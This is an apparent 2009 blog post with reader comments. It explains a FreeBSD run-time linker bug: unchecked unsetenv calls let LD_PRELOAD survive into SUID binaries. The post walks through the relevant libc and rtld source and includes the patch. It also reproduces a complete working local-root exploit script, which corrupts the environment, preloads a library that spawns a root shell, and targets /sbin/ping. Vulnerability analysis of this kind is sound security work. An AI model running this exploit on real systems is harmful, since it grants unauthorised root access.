FreeBSD LD_PRELOAD Security Bypass
A few hours ago, kingcope (aka. Nikolaos Rangos) released a 0day exploit for FreeBSD that results in instant privilege escalation. The vulnerability resides in the Run-Time Dynamic Loader’s code which can be found at libexec/rtld-elf/rtld.c. In case you’re not aware, LD_PRELOAD environment variable is used to instruct the RTLD to use some additional library (shared object) which will be pre-loaded. However, for security purposes this environment variable is normally ignored on SUID/SGID binaries. Now, let’s move to the susceptible code…
func_ptr_type _rtld(Elf_Addr *sp, func_ptr_type *exit_proc, Obj_Entry **objp) { Elf_Auxinfo *aux_info[AT_COUNT]; int i; ... trust = !issetugid(); ... /* * If the process is tainted, then we un-set the dangerous environment * variables. The process will be marked as tainted until setuid(2) * is called. If any child process calls setuid(2) we do not want any * future processes to honor the potentially un-safe variables. */ if (!trust) { unsetenv(LD_ "PRELOAD"); unsetenv(LD_ "LIBMAP"); unsetenv(LD_ "LIBRARY_PATH"); unsetenv(LD_ "LIBMAP_DISABLE"); unsetenv(LD_ "DEBUG"); unsetenv(LD_ "ELF_HINTS_PATH"); } ... /* Return the exit procedure and the program entry point. */ *exit_proc = rtld_exit; *objp = obj_main; return (func_ptr_type) obj_main->entry; }
So, in case of a SUID/SGID binary, it will unset some LD_ environment variables that are considered a possible threat. This is done using unsetenv(3) function which a library routine from the ‘stdlib’. If we have a look at this routine we’ll see that it could fail (from src/lib/libc/stdlib/getenv.c)…
/* * Unset variable with the same name by flagging it as inactive. No variable is * ever freed. */ int unsetenv(const char *name) { int envNdx; size_t nameLen; /* Check for malformed name. */ if (name == NULL || (nameLen = __strleneq(name)) == 0) { errno = EINVAL; return (-1); } /* Initialize environment. */ if (__merge_environ() == -1 || (envVars == NULL && __build_env() == -1)) return (-1); /* Deactivate specified variable. */ envNdx = envVarsTotal - 1; if (__findenv(name, nameLen, &envNdx, true) != NULL) { envVars[envNdx].active = false; if (envVars[envNdx].putenv) __remove_putenv(envNdx); __rebuild_environ(envActive - 1); } return (0); }
What this code does is to check for a malformed name which if it’s either NULL or has zero length it’ll immediately return with ‘EINVAL’. Next, it will invoke __merge_environ() and __build_env() to initialize the environment array. Next, is the most interesting part, the call to __findenv() is used to initialize the ‘envNdx’ with a value associated with the passed name. That index value is used to remove the environment variable from the array, however, a look at __findenv() reveals that it could also fail…
static inline char * __findenv(const char *name, size_t nameLen, int *envNdx, bool onlyActive) { int ndx; /* * Find environment variable from end of array (more likely to be * active). A variable created by putenv is always active or it is not * tracked in the array. */ for (ndx = *envNdx; ndx >= 0; ndx--) if (envVars[ndx].putenv) { if (strncmpeq(envVars[ndx].name, name, nameLen)) { *envNdx = ndx; return (envVars[ndx].name + nameLen + sizeof ("=") - 1); } } else if ((!onlyActive || envVars[ndx].active) && (envVars[ndx].nameLen == nameLen && strncmpeq(envVars[ndx].name, name, nameLen))) { *envNdx = ndx; return (envVars[ndx].value); } return (NULL); }
So, if this fails, the result will be exiting from unsetenv(3) with an error. Now if we move back to the _rtld() we’ll see that in none of those LD_ routines there’s a return value check of the unsetenv(3) calls! This allows a user to trigger an error in __findenv() in order to abort the removal of the environment variable.
By doing this, the RTLD will assume that the LD_ environment variable has been removed and proceed with loading the binary but the variable would still be there since unsetenv(3) failed to remove it! This allows us to pre-load arbitrary libraries to SUID/SGID binaries which results in a straightforward privilege escalation.
In his exploit code, kingcope does the following…
#!/bin/sh echo ** FreeBSD local r00t zeroday echo by Kingcope echo November 2009 cat > env.c << _EOF #include <stdio.h> main() { extern char **environ; environ = (char**)malloc(8096); environ[0] = (char*)malloc(1024); environ[1] = (char*)malloc(1024); strcpy(environ[1], "LD_PRELOAD=/tmp/w00t.so.1.0"); execl("/sbin/ping", "ping", 0); } _EOF gcc env.c -o env cat > program.c << _EOF #include <unistd.h> #include <stdio.h> #include <sys/types.h> #include <stdlib.h> void _init() { extern char **environ; environ=NULL; system("echo ALEX-ALEX;/bin/sh"); } _EOF gcc -o program.o -c program.c -fPIC gcc -shared -Wl,-soname,w00t.so.1 -o w00t.so.1.0 program.o -nostartfiles cp w00t.so.1.0 /tmp/w00t.so.1.0 ./env
This is a simple shell script that will first compile env.c file which is setting the environment array to some uninitialized heap space in order to trigger the failure of unsetenv(3) and he also sets the first argument to “LD_PRELOAD=/tmp/w00t.so.1.0” to allow the RTLD load this library. Finally, it executes a SUID binary, in this case /sbin/ping.
The second binary is the library that will be pre-loaded during the execution of /sbin/ping which is used to set the environment array to NULL and just spawn a shell at its start up.
In addition to this, as spender noticed, the uninitialized heap area could contain a “=” character and this will result in assuming that this is another environment variable. So, you can either do something like this or something like that.
To conclude, the patch has already been developed as you can read in this official email, and as you might have been expecting it just checks the return values like this:
if (!trust) { - unsetenv(LD_ "PRELOAD"); - unsetenv(LD_ "LIBMAP"); - unsetenv(LD_ "LIBRARY_PATH"); - unsetenv(LD_ "LIBMAP_DISABLE"); - unsetenv(LD_ "DEBUG"); - unsetenv(LD_ "ELF_HINTS_PATH"); + if (unsetenv(LD_ "PRELOAD") || unsetenv(LD_ "LIBMAP") || + unsetenv(LD_ "LIBRARY_PATH") || unsetenv(LD_ "LIBMAP_DISABLE") || + unsetenv(LD_ "DEBUG") || unsetenv(LD_ "ELF_HINTS_PATH")) { + _rtld_error("environment corrupt; aborting"); + die(); + } } ld_debug = getenv(LD_ "DEBUG");
This kingcope’s discovery is really unbelievable… Everyone is looking for amazingly complex vulnerabilities when there are such simple bugs out there…
Congrats for your discovery kcope
UPDATE:
As spender noticed, I didn’t provide details of __merge_environ(), however, this is the main reason that this bug is exploitable since this function will “scan” the environment array like this:
static int __merge_environ(void) { char **env; char *equals; ... origEnviron = environ; if (origEnviron != NULL) for (env = origEnviron; *env != NULL; env++) { if ((equals = strchr(*env, '=')) == NULL) { __env_warnx(CorruptEnvValueMsg, *env, strlen(*env)); errno = EFAULT; return (-1); } if (__setenv(*env, equals - *env, equals + 1, 1) == -1) return (-1); } } return (0); }
As you can read, it checks for “=” character which is why is the environment passed to it.
I also thought about the uninitialized area when doing the malloc(). Thanks for pointing this out. BTW great work with your discussions here in the blog.
kcope
December 1, 2009 at 07:02
stealth beat kingcope to it by about a month =) http://stealth.openwall.net/xSports/fbsd-rtld-full-package
robin padilla
December 1, 2009 at 08:50
There is an interesting post and a more reliable exploit here:
http://c-skills.blogspot.com/2009/11/always-check-return-value.html
Seed
December 1, 2009 at 09:27
This bug really deserves a space among the trivial ones with a high impact (right next to the linux udev thingie). Congrats to kingcope (and stealth who independently found it) for discovering this interesting issue.
fiction
December 2, 2009 at 01:05
Great explanation of the issue in detail. Thanks.
Ivan Zahariev
December 2, 2009 at 13:40
Nice explanation. Thx.
pentest
December 7, 2009 at 20:22
wow.. thanks.. its very detail..
thund3r-x2
December 9, 2009 at 14:30
The fbsd-rtld-full-package exploit claims that the corrupted environ entry must be located after the LD_PRELOAD so it can be set but it is really not needed – it works both ways. The __setenv() call in __merge_environ() just adds the value to the envVars array of structures.
techie
February 3, 2010 at 10:36